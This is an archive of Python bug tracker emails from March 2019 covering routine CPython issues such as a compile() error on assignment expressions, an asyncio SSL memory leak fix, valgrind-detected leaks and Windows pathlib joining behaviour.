Subject: [issue36330] Warning about a potential dead code in timemodule and
 Clang
In-Reply-To: <1552850411.26.0.43372681058.issue36330@roundup.psfhosted.org>
Message-ID: <1552852556.33.0.648145770071.issue36330@roundup.psfhosted.org>


Paul Ganssle <p.ganssle at gmail.com> added the comment:

It does seem like the values CLOCKS_PER_SEC, _PyTime_MAX and SEC_TO_NS are all defined at compile-time, so presumably this can be a compile-time error.

As currently defined, though, it seems very unlikely that this would ever be false, since _PyTime_MAX is the same as LLONG_MAX, which cplusplusreference says is `9223372036854775807 (2**63-1) or greater` [0], so CLOCKS_PER_SEC would need to be >= 2**50, which is unlikely to be... accurate.

In any case, it seems like this check can happen at compile-time, either resulting in compilation failing, or just undefining HAVE_CLOCK.

[0] http://www.cplusplus.com/reference/climits/

----------
nosy: +p-ganssle

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36330>
_______________________________________

From report at bugs.python.org  Sun Mar 17 15:58:24 2019
From: report at bugs.python.org (Paul Ganssle)
Date: Sun, 17 Mar 2019 19:58:24 +0000
Subject: [issue36330] Warning about a potential dead code in timemodule and
 Clang
In-Reply-To: <1552850411.26.0.43372681058.issue36330@roundup.psfhosted.org>
Message-ID: <1552852704.07.0.178546514092.issue36330@roundup.psfhosted.org>


Paul Ganssle <p.ganssle at gmail.com> added the comment:

Sorry, I should say unlikely that it should ever be *true*. It seems unlikely that there is a platform or piece of hardware on which this error would be raised.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36330>
_______________________________________

From report at bugs.python.org  Sun Mar 17 16:52:04 2019
From: report at bugs.python.org (Larry Hastings)
Date: Sun, 17 Mar 2019 20:52:04 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552855924.52.0.236532663683.issue35121@roundup.psfhosted.org>


Change by Larry Hastings <larry at hastings.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sun Mar 17 16:55:32 2019
From: report at bugs.python.org (Jagadeesh Marella)
Date: Sun, 17 Mar 2019 20:55:32 +0000
Subject: [issue36331] check_output is returning non-zero exit status 1
Message-ID: <1552856132.97.0.4276096432.issue36331@roundup.psfhosted.org>


New submission from Jagadeesh Marella <marella.jagadeesh9 at gmail.com>:

>>>> check_output(["screen", "-ls"])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/Cellar/pypy3/6.0.0/libexec/lib-python/3/subprocess.py", line 316, in check_output
    **kwargs).stdout
  File "/usr/local/Cellar/pypy3/6.0.0/libexec/lib-python/3/subprocess.py", line 398, in run
    output=stdout, stderr=stderr)
subprocess.CalledProcessError: Command '['screen', '-ls']' returned non-zero exit status 1

----------
components: macOS
messages: 338140
nosy: jagadeesh, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: check_output is returning non-zero exit status 1
type: compile error
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36331>
_______________________________________

From report at bugs.python.org  Sun Mar 17 17:17:49 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 17 Mar 2019 21:17:49 +0000
Subject: [issue36331] check_output is returning non-zero exit status 1
In-Reply-To: <1552856132.97.0.4276096432.issue36331@roundup.psfhosted.org>
Message-ID: <1552857469.54.0.143084773728.issue36331@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Did you try running the same command "screen -ls" with subprocess.run() so you can see the output from it?  Or just from a terminal shell?  If I do, I see:

>>> subprocess.run(["screen", "-ls"])
No Sockets found in /var/folders/sn/0m4rnbyj2z1byjs68sz838300000gn/T/.screen.

CompletedProcess(args=['screen', '-ls'], returncode=1)

$ screen -ls
No Sockets found in /var/folders/sn/0m4rnbyj2z1byjs68sz838300000gn/T/.screen.

So subprocees.check_output() is likely working just fine: it is telling you that the command you tried to execute failed for some reason.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
type: compile error -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36331>
_______________________________________

From report at bugs.python.org  Sun Mar 17 17:40:13 2019
From: report at bugs.python.org (Jess)
Date: Sun, 17 Mar 2019 21:40:13 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1552858813.89.0.947377719929.issue36245@roundup.psfhosted.org>


Jess <jess at gmail.com> added the comment:

How long should I be waiting on review?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Sun Mar 17 18:10:50 2019
From: report at bugs.python.org (Kyungdahm Yun)
Date: Sun, 17 Mar 2019 22:10:50 +0000
Subject: [issue36332] compile() error on AST object with assignment expression
Message-ID: <1552860650.83.0.184007481233.issue36332@roundup.psfhosted.org>


New submission from Kyungdahm Yun <tomyun at gmail.com>:

Seems like compile() can't properly handle assignment expressions parsed in AST object.

Python 3.8.0a2+ (heads/master:06e1e68, Mar 17 2019, 14:27:19)
[Clang 10.0.0 (clang-1000.10.44.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import ast
>>> compile("if a == 1:\n  True", '<string>', 'exec')
<code object <module> at 0x10a59ef60, file "<string>", line 1>
>>> compile(ast.parse("if a == 1:\n  True"), '<string>', 'exec')
<code object <module> at 0x10a5f6780, file "<string>", line 1>
>>> compile("if a := 1:\n  True", '<string>', 'exec')
<code object <module> at 0x10a59ef60, file "<string>", line 1>
>>> compile(ast.parse("if a := 1:\n  True"), '<string>', 'exec')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
SystemError: unexpected expression
>>>

This issue seems to break IPython when trying to use any assignment expressions.
https://github.com/ipython/ipython/issues/11618

----------
components: Interpreter Core
messages: 338143
nosy: tomyun
priority: normal
severity: normal
status: open
title: compile() error on AST object with assignment expression
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36332>
_______________________________________

From report at bugs.python.org  Sun Mar 17 18:18:29 2019
From: report at bugs.python.org (Fantix King)
Date: Sun, 17 Mar 2019 22:18:29 +0000
Subject: [issue34745] asyncio ssl memory leak
In-Reply-To: <1537396860.59.0.956365154283.issue34745@psf.upfronthosting.co.za>
Message-ID: <1552861109.02.0.456358178631.issue34745@roundup.psfhosted.org>


Change by Fantix King <fantix.king at gmail.com>:


----------
keywords: +patch
pull_requests: +12343
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34745>
_______________________________________

From report at bugs.python.org  Sun Mar 17 18:29:54 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 22:29:54 +0000
Subject: [issue36330] Warning about a potential dead code in timemodule and
 Clang
In-Reply-To: <1552850411.26.0.43372681058.issue36330@roundup.psfhosted.org>
Message-ID: <1552861794.75.0.415537701388.issue36330@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi Paul,

Thank you for your explanation, I was not sure about the solution and I have just preferred to publish this issue. I don't have this issue with gcc, only with clang.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36330>
_______________________________________

From report at bugs.python.org  Sun Mar 17 18:51:15 2019
From: report at bugs.python.org (Yury Selivanov)
Date: Sun, 17 Mar 2019 22:51:15 +0000
Subject: [issue34745] asyncio ssl memory leak
In-Reply-To: <1537396860.59.0.956365154283.issue34745@psf.upfronthosting.co.za>
Message-ID: <1552863075.47.0.361992213616.issue34745@roundup.psfhosted.org>


Yury Selivanov <yselivanov at gmail.com> added the comment:


New changeset f683f464259715d620777d7ed568e701337a703a by Yury Selivanov (Fantix King) in branch 'master':
bpo-34745: Fix asyncio sslproto memory issues (GH-12386)
https://github.com/python/cpython/commit/f683f464259715d620777d7ed568e701337a703a


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34745>
_______________________________________

From report at bugs.python.org  Sun Mar 17 18:51:37 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 17 Mar 2019 22:51:37 +0000
Subject: [issue34745] asyncio ssl memory leak
In-Reply-To: <1537396860.59.0.956365154283.issue34745@psf.upfronthosting.co.za>
Message-ID: <1552863097.35.0.539673280764.issue34745@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12344

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34745>
_______________________________________

From report at bugs.python.org  Sun Mar 17 19:09:17 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 17 Mar 2019 23:09:17 +0000
Subject: [issue34745] asyncio ssl memory leak
In-Reply-To: <1537396860.59.0.956365154283.issue34745@psf.upfronthosting.co.za>
Message-ID: <1552864157.16.0.185159696452.issue34745@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 7f7485c0605fe979e39c58b688f2bb6a4f43e65e by Miss Islington (bot) in branch '3.7':
bpo-34745: Fix asyncio sslproto memory issues (GH-12386)
https://github.com/python/cpython/commit/7f7485c0605fe979e39c58b688f2bb6a4f43e65e


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34745>
_______________________________________

From report at bugs.python.org  Sun Mar 17 19:45:18 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 23:45:18 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
Message-ID: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

I have detected 3 memory leaks when I execute python -V with valgrind -> 162 bytes.

The leaks do seem to be in pymain_init and in _PyPreConfig_ReadFromArgv (the string for the locale is not freed).

Also _PyRuntimeState_Fini does not release the memory of the mutex on runtime->xidregistry.

You can find the first status in the valgrind.log file (with the leaks).

----------
components: Interpreter Core
files: valgrind.log
messages: 338147
nosy: matrixise
priority: normal
severity: normal
status: open
title: memory leaks detected with valgrind for python -V
Added file: https://bugs.python.org/file48213/valgrind.log

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Sun Mar 17 19:46:29 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 23:46:29 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552866389.97.0.640679397647.issue36333@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

The report of valgrind with no leaks.

----------
Added file: https://bugs.python.org/file48214/valgrind-without-memory-leak.log

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Sun Mar 17 19:49:04 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 23:49:04 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552866544.55.0.933156037458.issue36333@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12345
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Sun Mar 17 19:49:16 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 23:49:16 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552866556.0.0.518264537009.issue36333@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Sun Mar 17 19:51:26 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 23:51:26 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552866686.54.0.892527447782.issue36333@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@vstinner I ping you because you are the main author for the new changes in the interpreter and the PyPreConfig part.

----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Sun Mar 17 19:54:09 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 17 Mar 2019 23:54:09 +0000
Subject: [issue22303] Write better test for SSLContext.load_verify_locations
In-Reply-To: <1409351054.72.0.141449217965.issue22303@psf.upfronthosting.co.za>
Message-ID: <1552866849.79.0.420877723964.issue22303@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Issue 22449 added some tests around these environment variables.  Was that enough to satisfy this issue or does more need to be done?

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22303>
_______________________________________

From report at bugs.python.org  Sun Mar 17 20:44:50 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Mon, 18 Mar 2019 00:44:50 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
Message-ID: <1552869890.2.0.118192330388.issue36268@roundup.psfhosted.org>


C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM> added the comment:

Also, one additional minor note (since I apparently can't edit comments here). Windows 10 (since the April 2018 update a year ago) now includes libarchive-based bsdtar built-in by default and accessible from the standard command prompt, which as mentioned fully supports pax.

Therefore, all modern platforms should support extracting them out of the box (aside from Windows 7/Server 2008, for which extended support will end within two months from Python 3.8's initial release, Windows 10 pre-1803 for which enterprise support will end a few months after that, and Windows 8.1/Server 2012, which will be in extended support for a few more years but very low enterprise/developer/power user adoption; of course, these don't include any built-in tar support at all anyway).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Sun Mar 17 21:19:23 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 18 Mar 2019 01:19:23 +0000
Subject: [issue36332] compile() error on AST object with assignment expression
In-Reply-To: <1552860650.83.0.184007481233.issue36332@roundup.psfhosted.org>
Message-ID: <1552871963.2.0.0190199039909.issue36332@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +emilyemorehouse, gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36332>
_______________________________________

From report at bugs.python.org  Sun Mar 17 21:22:13 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 18 Mar 2019 01:22:13 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552872133.06.0.795140187707.issue35121@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Larry, I am reopening this since this seems to affects 2.7 and would wait for Benjamin's call on backporting this.

----------
resolution: fixed -> 
stage: resolved -> commit review
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sun Mar 17 21:53:11 2019
From: report at bugs.python.org (Ned Deily)
Date: Mon, 18 Mar 2019 01:53:11 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
In-Reply-To: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>
Message-ID: <1552873991.91.0.7558069531.issue36195@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:


New changeset e601ef0fa384d149f6759fff3c18762a8c63851e by Ned Deily (Harmandeep Singh) in branch '3.6':
bpo-36195: Remove the ThreadPoolExecutor documentation mentioning the initializer feature added in Python 3.7 (GH-12182)
https://github.com/python/cpython/commit/e601ef0fa384d149f6759fff3c18762a8c63851e


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Sun Mar 17 21:54:01 2019
From: report at bugs.python.org (Ned Deily)
Date: Mon, 18 Mar 2019 01:54:01 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
In-Reply-To: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>
Message-ID: <1552874040.99.0.944936829106.issue36195@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Thanks for the PR!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Sun Mar 17 22:02:48 2019
From: report at bugs.python.org (Ned Deily)
Date: Mon, 18 Mar 2019 02:02:48 +0000
Subject: [issue36247] zipfile - extract truncates (existing) file when bad
 password provided (zip encryption weakness)
In-Reply-To: <1552085810.83.0.29138554052.issue36247@roundup.psfhosted.org>
Message-ID: <1552874568.11.0.153353434472.issue36247@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

I'll let it up to other coredevs to decide whether this is behavior that should be changed in master for the next feature release and/or whether a doc change is needed.  But we are not going to change the behavior of 3.6 for sure so I am closing PR 12242.

----------
nosy: +ned.deily
resolution: not a bug -> 
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36247>
_______________________________________

From report at bugs.python.org  Sun Mar 17 22:12:20 2019
From: report at bugs.python.org (Mike Davies)
Date: Mon, 18 Mar 2019 02:12:20 +0000
Subject: [issue36334] pathlib.Path unexpected (wrong) behaviour when combining
 paths in a for loop
Message-ID: <1552875140.48.0.232473204504.issue36334@roundup.psfhosted.org>


New submission from Mike Davies <michaeljamesdavies at gmail.com>:

I wish to create a list of pathlib.Paths by combining two lists of pathlib.Paths. I use two for loops to make every combination.

However the output is not what one would expect (see no 'Program Files' is visible in the output).

########## INPUT:
pa = [   
    Path('C:/Program Files'),
    Path('C:/')
]
pb = [
    Path('/one/two/three.exe'),
    Path('/four.exe') 
    ]
print( [a/b for a in pa for b in pb] )

########### OUTPUT:
[WindowsPath('C:/one/two/three.exe'), WindowsPath('C:/four.exe'), WindowsPath('C:/one/two/three.exe'), WindowsPath('C:/four.exe')]

This is true whether I use for loops or list comprehensions.


To get the expected output I need to change the Paths to strings, combine them, then convert them back to paths like this:

########### INPUT:
print( [Path(str(a)+str(b)) for a in pa for b in pb] )
########### OUTPUT:
[WindowsPath('C:/Program Files/one/two/three.exe'), WindowsPath('C:/Program Files/four.exe'), WindowsPath('C:/one/two/three.exe'), WindowsPath('C:/four.exe')]


Interestingly if I print only 'a' I get the expected answer:
########### INPUT:
print( [a for a in pa for b in pb] )
########### OUTPUT:
[WindowsPath('C:/Program Files'), WindowsPath('C:/Program Files'), WindowsPath('C:/'), WindowsPath('C:/')]


And the same is true if I print only 'b':
########### INPUT:
print( [b for a in pa for b in pb] )
########### OUTPUT:
[WindowsPath('/one/two/three.exe'), WindowsPath('/four.exe'), WindowsPath('/one/two/three.exe'), WindowsPath('/four.exe')]



Additionally in some cases it does give the correct answer. Here is a similar example where the answer is correct:
########### INPUT:
pa = [Path('C:/'), Path('D:/')]
pb = [Path('a.exe'), Path('b.exe')]
print( [a/b for a in pa for b in pb] )
########### OUTPUT:
[WindowsPath('C:/a.exe'), WindowsPath('C:/b.exe'), WindowsPath('D:/a.exe'), WindowsPath('D:/b.exe')]

----------
components: Windows
messages: 338156
nosy: Mike Davies, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: pathlib.Path  unexpected (wrong) behaviour when combining paths in a for loop
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36334>
_______________________________________

From report at bugs.python.org  Sun Mar 17 22:46:14 2019
From: report at bugs.python.org (Vinay Sajip)
Date: Mon, 18 Mar 2019 02:46:14 +0000
Subject: [issue36318] Adding support for setting the "disabled" attribute of
 loggers from logging.config.dictConfig
In-Reply-To: <1552761329.43.0.180278602772.issue36318@roundup.psfhosted.org>
Message-ID: <1552877174.03.0.356679706566.issue36318@roundup.psfhosted.org>


Vinay Sajip <vinay_sajip at yahoo.co.uk> added the comment:

I don't see any value in configuring a logger which starts as disabled - making it completely useless - why would one want to do this? I don't think the "consistency" argument flies in this case.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36318>
_______________________________________

From report at bugs.python.org  Sun Mar 17 23:21:44 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 18 Mar 2019 03:21:44 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552879304.34.0.0798649578751.issue36272@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12346

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Sun Mar 17 23:24:49 2019
From: report at bugs.python.org (Ned Deily)
Date: Mon, 18 Mar 2019 03:24:49 +0000
Subject: [issue34461] Availability of parsers in etree initializer
In-Reply-To: <1534934488.79.0.56676864532.issue34461@psf.upfronthosting.co.za>
Message-ID: <1552879489.35.0.84736445571.issue34461@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Thanks for the suggestion but, since there has been no agreement that this change is desirable, I am going to close the issue along with the submitted PRs.

----------
nosy: +ned.deily
resolution:  -> not a bug
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34461>
_______________________________________

From report at bugs.python.org  Sun Mar 17 23:30:29 2019
From: report at bugs.python.org (daniel hahler)
Date: Mon, 18 Mar 2019 03:30:29 +0000
Subject: [issue36335] Factor out / add bdb.Bdb.is_skipped_frame
Message-ID: <1552879829.66.0.950259936465.issue36335@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

In https://bugs.python.org/issue36130 is_skipped_module was changed to handle frames without __name__, but I think it makes sense being able to skip e.g. frames on frame.f_code.co_name then.

Factoring out is_skipped_frame allows for this.

The default implementation would call is_skipped_module if there are any skip patterns, and return False otherwise.

----------
components: Library (Lib)
messages: 338159
nosy: blueyed
priority: normal
severity: normal
status: open
title: Factor out / add bdb.Bdb.is_skipped_frame
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36335>
_______________________________________

From report at bugs.python.org  Sun Mar 17 23:31:28 2019
From: report at bugs.python.org (daniel hahler)
Date: Mon, 18 Mar 2019 03:31:28 +0000
Subject: [issue36335] Factor out / add bdb.Bdb.is_skipped_frame
In-Reply-To: <1552879829.66.0.950259936465.issue36335@roundup.psfhosted.org>
Message-ID: <1552879888.38.0.896648992148.issue36335@roundup.psfhosted.org>


Change by daniel hahler <python-bugs at thequod.de>:


----------
keywords: +patch
pull_requests: +12347
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36335>
_______________________________________

From report at bugs.python.org  Mon Mar 18 00:08:02 2019
From: report at bugs.python.org (Eryk Sun)
Date: Mon, 18 Mar 2019 04:08:02 +0000
Subject: [issue36334] pathlib.Path unexpected (wrong) behaviour when combining
 paths in a for loop
In-Reply-To: <1552875140.48.0.232473204504.issue36334@roundup.psfhosted.org>
Message-ID: <1552882082.98.0.472111191944.issue36334@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

The drive is retained when a rooted path is joined to a drive-absolute or UNC-absolute path. This is documented behavior [1]:

    When several absolute paths are given, the last is taken as an
    anchor (mimicking os.path.join()?s behaviour):

        >>> PurePath('/etc', '/usr', 'lib64')
        PurePosixPath('/usr/lib64')
        >>> PureWindowsPath('c:/Windows', 'd:bar')
        PureWindowsPath('d:bar')

    However, in a Windows path, changing the local root doesn?t
    discard the previous drive setting:
    
        >>> PureWindowsPath('c:/Windows', '/Program Files')
        PureWindowsPath('c:/Program Files')

If you want to simply append directories to a path, use a relative path. For example:

    >>> Path('C:/Program Files') / Path('one/two/three.exe')
    WindowsPath('C:/Program Files/one/two/three.exe')

[1]: https://docs.python.org/3/library/pathlib.html#pathlib.PurePath

----------
nosy: +eryksun
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36334>
_______________________________________

From report at bugs.python.org  Mon Mar 18 00:14:43 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 18 Mar 2019 04:14:43 +0000
Subject: [issue36332] compile() error on AST object with assignment expression
In-Reply-To: <1552860650.83.0.184007481233.issue36332@roundup.psfhosted.org>
Message-ID: <1552882483.65.0.47928519017.issue36332@roundup.psfhosted.org>


Guido van Rossum <guido at python.org> added the comment:

Confirmed. Emily, do you need help tracking this down?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36332>
_______________________________________

From report at bugs.python.org  Mon Mar 18 00:39:31 2019
From: report at bugs.python.org (Fantix King)
Date: Mon, 18 Mar 2019 04:39:31 +0000
Subject: [issue34745] asyncio ssl memory leak
In-Reply-To: <1537396860.59.0.956365154283.issue34745@psf.upfronthosting.co.za>
Message-ID: <1552883971.49.0.361692209149.issue34745@roundup.psfhosted.org>


Change by Fantix King <fantix.king at gmail.com>:


----------
pull_requests: +12348

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34745>
_______________________________________

From report at bugs.python.org  Mon Mar 18 01:50:30 2019
From: report at bugs.python.org (daniel hahler)
Date: Mon, 18 Mar 2019 05:50:30 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552888230.67.0.0442994098424.issue36264@roundup.psfhosted.org>


daniel hahler <python-bugs at thequod.de> added the comment:

Just as a sidenote: the other day I was checking Python's source to see how to override a user's home (in tests, when os.path.expanduser` is used in code), and found it easy to just set $HOME in the environment in the end.

I guess this change will cause quite some regressions in this regard - even though $HOME might not be used in practice on Windows.

----------
nosy: +blueyed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Mon Mar 18 02:25:16 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 18 Mar 2019 06:25:16 +0000
Subject: [issue36332] compile() error on AST object with assignment expression
In-Reply-To: <1552860650.83.0.184007481233.issue36332@roundup.psfhosted.org>
Message-ID: <1552890316.56.0.693607225558.issue36332@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

validate_expr() needs a case for NamedExpr_kind.

I think also that it is better to remove the "default" clause (and move its code after the switch statement) and allow the compiler to warn about missed cases.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36332>
_______________________________________

From report at bugs.python.org  Mon Mar 18 02:33:02 2019
From: report at bugs.python.org (LihuaZhao)
Date: Mon, 18 Mar 2019 06:33:02 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1552890782.49.0.399422944124.issue31904@roundup.psfhosted.org>


Change by LihuaZhao <lihua.zhao at windriver.com>:


----------
pull_requests: +12349

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Mon Mar 18 02:44:13 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 06:44:13 +0000
Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552627963.14.0.69589784608.issue36297@roundup.psfhosted.org>
Message-ID: <1552891453.68.0.332901119348.issue36297@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 6a16b18224fa98f6d192aa5014affeccc0376eb3 by Inada Naoki in branch 'master':
bpo-36297: remove "unicode_internal" codec (GH-12342)
https://github.com/python/cpython/commit/6a16b18224fa98f6d192aa5014affeccc0376eb3


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Mon Mar 18 02:44:28 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 06:44:28 +0000
Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552627963.14.0.69589784608.issue36297@roundup.psfhosted.org>
Message-ID: <1552891468.11.0.2589511541.issue36297@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Mon Mar 18 03:01:31 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
